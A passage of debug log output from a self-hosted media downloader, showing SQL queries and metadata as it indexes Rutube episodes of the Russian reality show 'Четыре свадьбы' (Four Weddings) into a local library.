s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44] 14:35:48.497 [debug] Current batch of media processed. Will check again in 1000ms 14:35:49.498 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 невесты пригласят на свои свадьбы и оценят торжества соперниц. Марина из Котельников устроит свадьбу-вечеринку, фишкой которой станет появление молодых на вертолёте. У Гульнары из Екатеринбурга будет свадьба с татарским колоритом. На классической свадьбе Анастасии из Великого Новгорода гостей попробуют удивить сыром из сыроварни. А свадьба Дарьи из Казани пройдёт в ресторане на воде. Как девушки будут развлекаться на мероприятиях соперниц, увидим в программе «Четыре свадьбы».", "duration" => 5293, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e042000 - Свадьба-вечеринка VS Свадьба с татарским колоритом.mp4", "id" => "645718aca15411725e27f4cabdc3cab5", "original_url" => "https://rutube.ru/video/645718aca15411725e27f4cabdc3cab5/", "playlist_index" => 52, "timestamp" => 1681999208, "title" => "Свадьба-вечеринка VS Свадьба с татарским колоритом", "upload_date" => "20230420"} 14:35:49.501 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1021.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:49.502 [debug] QUERY OK source="sources" db=0.6ms idle=1011.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:49.504 [debug] QUERY OK source="media_items" db=0.9ms idle=1009.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-20 14:00:08Z], 1] 14:35:49.614 [debug] QUERY OK source="media_items" db=106.1ms idle=1010.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты пригласят на свои свадьбы и оценят торжества соперниц. Марина из Котельников устроит свадьбу-вечеринку, фишкой которой станет появление молодых на вертолёте. У Гульнары из Екатеринбурга будет свадьба с татарским колоритом. На классической свадьбе Анастасии из Великого Новгорода гостей попробуют удивить сыром из сыроварни. А свадьба Дарьи из Казани пройдёт в ресторане на воде. Как девушки будут развлекаться на мероприятиях соперниц, увидим в программе «Четыре свадьбы».", "Свадьба-вечеринка VS Свадьба с татарским колоритом", "c0648406-df32-496d-872a-06c21fe45765", "645718aca15411725e27f4cabdc3cab5", 5293, false, "https://rutube.ru/video/645718aca15411725e27f4cabdc3cab5/", 52, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e042000 - Свадьба-вечеринка VS Свадьба с татарским колоритом.mp4", false, false, false, 1, [], 1, ~U[2023-04-20 14:00:08Z], ~U[2025-12-09 11:35:49Z], ~U[2025-12-09 11:35:49Z], "4 невесты пригласят на свои свадьбы и оценят торжества соперниц. Марина из Котельников устроит свадьбу-вечеринку, фишкой которой станет появление молодых на вертолёте. У Гульнары из Екатеринбурга будет свадьба с татарским колоритом. На классической свадьбе Анастасии из Великого Новгорода гостей попробуют удивить сыром из сыроварни. А свадьба Дарьи из Казани пройдёт в ресторане на воде. Как девушки будут развлекаться на мероприятиях соперниц, увидим в программе «Четыре свадьбы».", "Свадьба-вечеринка VS Свадьба с татарским колоритом", "645718aca15411725e27f4cabdc3cab5", 5293, false, "https://rutube.ru/video/645718aca15411725e27f4cabdc3cab5/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e042000 - Свадьба-вечеринка VS Свадьба с татарским колоритом.mp4", false, 1, ~U[2023-04-20 14:00:08Z]] 14:35:49.625 [debug] QUERY OK source="sources" db=9.0ms queue=0.7ms idle=366.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:49.626 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=124.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:49.628 [debug] QUERY OK source="media_items" db=1.3ms idle=124.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [45] 14:35:49.631 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Свадебное противостояние начинается! Свадьба Елены из Санкт-Петербурга пройдёт в стиле «посиделки XIX века». У Натальи из Сорочинска будет русско-татарская свадьба. Анастасия из Новороссийска выбрала для своего торжества классический стиль с банкетом в средневековом замке. А фишкой свадьбы Валерии из Краснодара станут верблюды у ресторана. Чьё мероприятие будет оценено соперницами выше остальных, покажет программа «Четыре свадьбы».", "duration" => 5070, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e042700 - Свадьба в дачном стиле VS Свадьба в замке.mp4", "id" => "0b37e00b3838b1bed9498bb2a38d2f5c", "original_url" => "https://rutube.ru/video/0b37e00b3838b1bed9498bb2a38d2f5c/", "playlist_index" => 53, "timestamp" => 1682604013, "title" => "Свадьба в дачном стиле VS Свадьба в замке", "upload_date" => "20230427"} 14:35:49.635 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=129.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:49.636 [debug] QUERY OK source="sources" db=0.4ms idle=23.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:49.637 [debug] QUERY OK source="media_items" db=0.8ms idle=11.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-27 14:00:13Z], 1] 14:35:49.767 [debug] QUERY OK source="media_items" db=128.5ms idle=11.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебное противостояние начинается! Свадьба Елены из Санкт-Петербурга пройдёт в стиле «посиделки XIX века». У Натальи из Сорочинска будет русско-татарская свадьба. Анастасия из Новороссийска выбрала для своего торжества классический стиль с банкетом в средневековом замке. А фишкой свадьбы Валерии из Краснодара станут верблюды у ресторана. Чьё мероприятие будет оценено соперницами выше остальных, покажет программа «Четыре свадьбы».", "Свадьба в дачном стиле VS Свадьба в замке", "09a03edc-d59d-48e7-8981-13c56225777e", "0b37e00b3838b1bed9498bb2a38d2f5c", 5070, false, "https://rutube.ru/video/0b37e00b3838b1bed9498bb2a38d2f5c/", 53, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e042700 - Свадьба в дачном стиле VS Свадьба в замке.mp4", false, false, false, 1, [], 1, ~U[2023-04-27 14:00:13Z], ~U[2025-12-09 11:35:49Z], ~U[2025-12-09 11:35:49Z], "Свадебное противостояние начинается! Свадьба Елены из Санкт-Петербурга пройдёт в стиле «посиделки XIX века». У Натальи из Сорочинска будет русско-татарская свадьба. Анастасия из Новороссийска выбрала для своего торжества классический стиль с банкетом в средневековом замке. А фишкой свадьбы Валерии из Краснодара станут верблюды у ресторана. Чьё мероприятие будет оценено соперницами выше остальных, покажет программа «Четыре свадьбы».", "Свадьба в дачном стиле VS Свадьба в замке", "0b37e00b3838b1bed9498bb2a38d2f5c", 5070, false, "https://rutube.ru/video/0b37e00b3838b1bed9498bb2a38d2f5c/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e042700 - Свадьба в дачном стиле VS Свадьба в замке.mp4", false, 1, ~U[2023-04-27 14:00:13Z]] 14:35:49.773 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=142.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:49.775 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.2ms idle=138.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:49.779 [debug] QUERY OK source="media_items" db=1.5ms idle=141.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [46] 14:35:49.783 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 невесты покажут свои свадьбы и сходят на мероприятия друг друга. У Евгении из Кореновска будет классическая свадьба, а развлекать соперниц невеста решила в парке аттракционов. Инита из Санкт-Петербурга сделает свадьбу с концепцией «На седьмом небе от счастья». Свадьба Алины из Новосибирска пройдёт в стиле современный минимализм. А Оксана из Санкт-Петербурга позовёт гостей на свою свадьбу «Розовый вечер». Чьё торжество больше остальных запомнится девушкам, узнаем из программы «Четыре свадьбы».", "duration" => 5411, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e051100 - Классическая свадьба VS Современный минимализм.mp4", "id" => "7b5f68ee9bc084c69b9f58c2f70ce35a", "original_url" => "https://rutube.ru/video/7b5f68ee9bc084c69b9f58c2f70ce35a/", "playlist_index" => 54, "timestamp" => 1683814808, "title" => "Классическая свадьба VS Современный минимализм", "upload_date" => "20230511"} 14:35:49.787 [debug] QUERY OK source="sources" db=2.9ms queue=0.1ms idle=146.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:49.789 [debug] QUERY OK source="sources" db=1.1ms idle=21.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:49.791 [debug] QUERY OK source="media_items" db=1.4ms idle=16.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-11 14:20:08Z], 1] 14:35:49.975 [debug] QUERY OK source="media_items" db=181.7ms idle=18.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты покажут свои свадьбы и сходят на мероприятия друг друга. У Евгении из Кореновска будет классическая свадьба, а развлекать соперниц невеста решила в парке аттракционов. Инита из Санкт-Петербурга сделает свадьбу с концепцией «На седьмом небе от счастья». Свадьба Алины из Новосибирска пройдёт в стиле современный минимализм. А Оксана из Санкт-Петербурга позовёт гостей на свою свадьбу «Розовый вечер». Чьё торжество больше остальных запомнится девушкам, узнаем из программы «Четыре свадьбы».", "Классическая свадьба VS Современный минимализм", "5ef7f287-c752-4d96-86d4-6ef2bd7ad52f", "7b5f68ee9bc084c69b9f58c2f70ce35a", 5411, false, "https://rutube.ru/video/7b5f68ee9bc084c69b9f58c2f70ce35a/", 54, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e051100 - Классическая свадьба VS Современный минимализм.mp4", false, false, false, 1, [], 1, ~U[2023-05-11 14:20:08Z], ~U[2025-12-09 11:35:49Z], ~U[2025-12-09 11:35:49Z], "4 невесты покажут свои свадьбы и сходят на мероприятия друг друга. У Евгении из Кореновска будет классическая свадьба, а развлекать соперниц невеста решила в парке аттракционов. Инита из Санкт-Петербурга сделает свадьбу с концепцией «На седьмом небе от счастья». Свадьба Алины из Новосибирска пройдёт в стиле современный минимализм. А Оксана из Санкт-Петербурга позовёт гостей на свою свадьбу «Розовый вечер». Чьё торжество больше остальных запомнится девушкам, узнаем из программы «Четыре свадьбы».", "Классическая свадьба VS Современный минимализм", "7b5f68ee9bc084c69b9f58c2f70ce35a", 5411, false, "https://rutube.ru/video/7b5f68ee9bc084c69b9f58c2f70ce35a/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e051100 - Классическая свадьба VS Современный минимализм.mp4", false, 1, ~U[2023-05-11 14:20:08Z]] 14:35:49.994 [debug] QUERY OK source="sources" db=16.6ms idle=197.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:49.995 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=206.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:49.996 [debug] QUERY OK source="media_items" db=1.0ms idle=206.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [47] 14:35:49.997 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Новые участницы «Четырёх свадеб» готовы удивлять! У Илоны из Междуреченска будет классическо-романтическая свадьба, а для гостей она подготовит сюрприз. Анастасия из Челябинска на своей классической свадьбе продемонстрирует три образа. Евгения из Санкт-Петербурга устроит торжество в древнерусском стиле. А на свадьбе Екатерины из Екатеринбурга смешаются традиции 90-х и 2000-х. Чьё мероприятие окажется самым оригинальным, увидим в программе «Четыре свадьбы».", "duration" => 5417, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e051800 - Корейская свадьба VS Древнерусская свадьба.mp4", "id" => "21c619dceeb72a93b0b1aee2749db64d", "original_url" => "https://rutube.ru/video/21c619dceeb72a93b0b1aee2749db64d/", "playlist_index" => 55, "timestamp" => 1684418413, "title" => "Корейская свадьба VS Древнерусская свадьба", "upload_date" => "20230518"} 14:35:50.000 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=208.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:50.001 [debug] QUERY OK source="sources" db=0.5ms idle=25.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:50.001 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-18 14:00:13Z], 1] 14:35:50.206 [debug] QUERY OK source="media_items" db=204.4ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Новые участницы «Четырёх свадеб» готовы удивлять! У Илоны из Междуреченска будет классическо-романтическая свадьба, а для гостей она подготовит сюрприз. Анастасия из Челябинска на своей классической свадьбе продемонстрирует три образа. Евгения из Санкт-Петербурга устроит торжество в древнерусском стиле. А на свадьбе Екатерины из Екатеринбурга смешаются традиции 90-х и 2000-х. Чьё мероприятие окажется самым оригинальным, увидим в программе «Четыре свадьбы».", "Корейская свадьба VS Древнерусская свадьба", "e6ded709-a9ee-4283-9a31-2176418ce502", "21c619dceeb72a93b0b1aee2749db64d", 5417, false, "https://rutube.ru/video/21c619dceeb72a93b0b1aee2749db64d/", 55, "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e051800 - Корейская свадьба VS Древнерусская свадьба.mp4", false, false, false, 1, [], 1, ~U[2023-05-18 14:00:13Z], ~U[2025-12-09 11:35:50Z], ~U[2025-12-09 11:35:50Z], "Новые участницы «Четырёх свадеб» готовы удивлять! У Илоны из Междуреченска будет классическо-романтическая свадьба, а для гостей она подготовит сюрприз. Анастасия из Челябинска на своей классической свадьбе продемонстрирует три образа. Евгения из Санкт-Петербурга устроит торжество в древнерусском стиле. А на свадьбе Екатерины из Екатеринбурга смешаются традиции 90-х и 2000-х. Чьё мероприятие окажется самым оригинальным, увидим в программе «Четыре свадьбы».", "Корейская свадьба VS Древнерусская свадьба", "21c619dceeb72a93b0b1aee2749db64d", 5417, false, "https://rutube.ru/video/21c619dceeb72a93b0b1aee2749db64d/", "/downloads/rutubeShows/4 Свадьбы/Season 2023/s2023e051800 - Корейская свадьба VS Древнерусская свадьба.mp4", false, 1, ~U[2023-05-18 14:00:13Z]] 14:35:50.221 [debug] QUERY OK source="sources" db=12.4ms queue=0.1ms idle=211.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:50.222 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=221.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM 